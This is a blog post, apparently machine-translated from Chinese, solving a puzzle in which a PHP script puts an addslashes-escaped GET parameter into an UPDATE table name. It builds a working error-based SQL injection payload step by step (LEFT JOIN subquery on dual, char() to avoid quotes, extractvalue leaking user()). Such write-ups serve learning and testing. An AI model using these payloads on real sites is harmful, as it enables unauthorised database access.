Reflections on a Question of sql Injection

Keywords: SQL MySQL PHP Database

p cattle in the herd out of a fun topic, just in the evening empty lonely cold, do warm up, the title is:

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}` 
        SET `username`='admin'
        WHERE id=1";
if(!mysqli_query($link, $sql)) {
    echo(mysqli_error($link));
}
mysqli_close($link);

First of all, there are several pits in this topic. First, injection under update is not very common. Second, because of the existence of addslashes, the whole injection can not appear single quotation marks, double quotation marks and slashes. Third, the sql statement is not written in a single line of code, so the following statement can not be commented out with a single line of comment.
As a result, the entire injection statement can only be used in UPDATE {$table}
First check the use of mysql update:
http://www.cnblogs.com/ggjucheng/archive/2012/11/06/2756392.html
At the end of this article, there is a useful hint: but multiple-table UPDATE statements can use any type of union allowed in SELECT statements, such as LEFT JOIN.
So I searched another article: Mysql Cross-Table Update Multi-Table update sql Statement Summary( http://www.jb51.net/article/32648.htm)
There are several simple examples of using LEFT JOIN, but it seems not enough. I hope to introduce a sub-query, so I found another article: http://blog.csdn.net/catoop/article/details/46670911
There is a good example in this article:

UPDATE student D
  LEFT JOIN (SELECT 
        B.studentId,
                SUM(B.score) AS s_sum,
                ROUND(AVG(B.score),1) AS s_avg
           FROM score B
          WHERE b.examTime >= '2015-03-10'
          GROUP BY B.studentId) C
    ON (C.studentId = D.id)

   SET D.score_sum = c.s_sum,
       D.score_avg = c.s_avg
 WHERE D.id = 
       (
         SELECT 
        E.id FROM 
        (
                  SELECT 
                DISTINCT a.studentId AS id
                    FROM score A
                   WHERE A.examTime >= '2015-03-10'
                ) E 
          WHERE E.id = D.id
       )
   AND d.age = 1;

You can see that he introduced sub-queries in the update statement, and the location of sub-queries is exactly where I want them, so I constructed a sub-query like this:

update `table` t left join (select id from `table`) tt on tt.user=t.username set username ='admin' where id=1;

Error reporting: ERROR 1052 (23000): Column'id'in where clause is ambiguous
The reason is that the same column name appears in several tables at the same time in multi-table query.
So I can't have the same column names, but I don't know any other tables in the database except table tables, or there's only one table at all, so I'm going to use mysql's dummy table dual.

update `table` t left join (select '1' as user from dual) tt on tt.user=t.username set username ='admin' where id=1;

Here I rename the field'1'with select'1' as user from dual to satisfy the condition of later on, and: on t T. user = T. username
And here we use'1'instead of numbers because the username type in tale table is varchar type.
After execution, it is found that it can be updated normally. That is to say, successfully introducing a sub-query where I want it, then the latter is much simpler. Direct introducing an error injection statement into the sub-query can give the initial answer as follows:

table` t left join (select '1' as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username

Complete sql statement after injection

update `table` t left join (select \'1\' as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username` 
set username ='admin' 
where id=1

I quickly found two problems.
1. The back quotation mark after injection is not closed. 2. The single quotation mark is escaped.
The first problem is to add an inverted quotation mark to the last field of on, closing it with the following inverted quotation mark.
The second problem is to replace the single quotation mark with char function.
So the perfect answer comes up:

http://localhost/code.php?table=table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username

The sql statement after injection is:

update `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username`
 set username ='admin' 
where id=1;

Posted by ronniebrown on Tue, 26 Mar 2019 04:15:28 -0700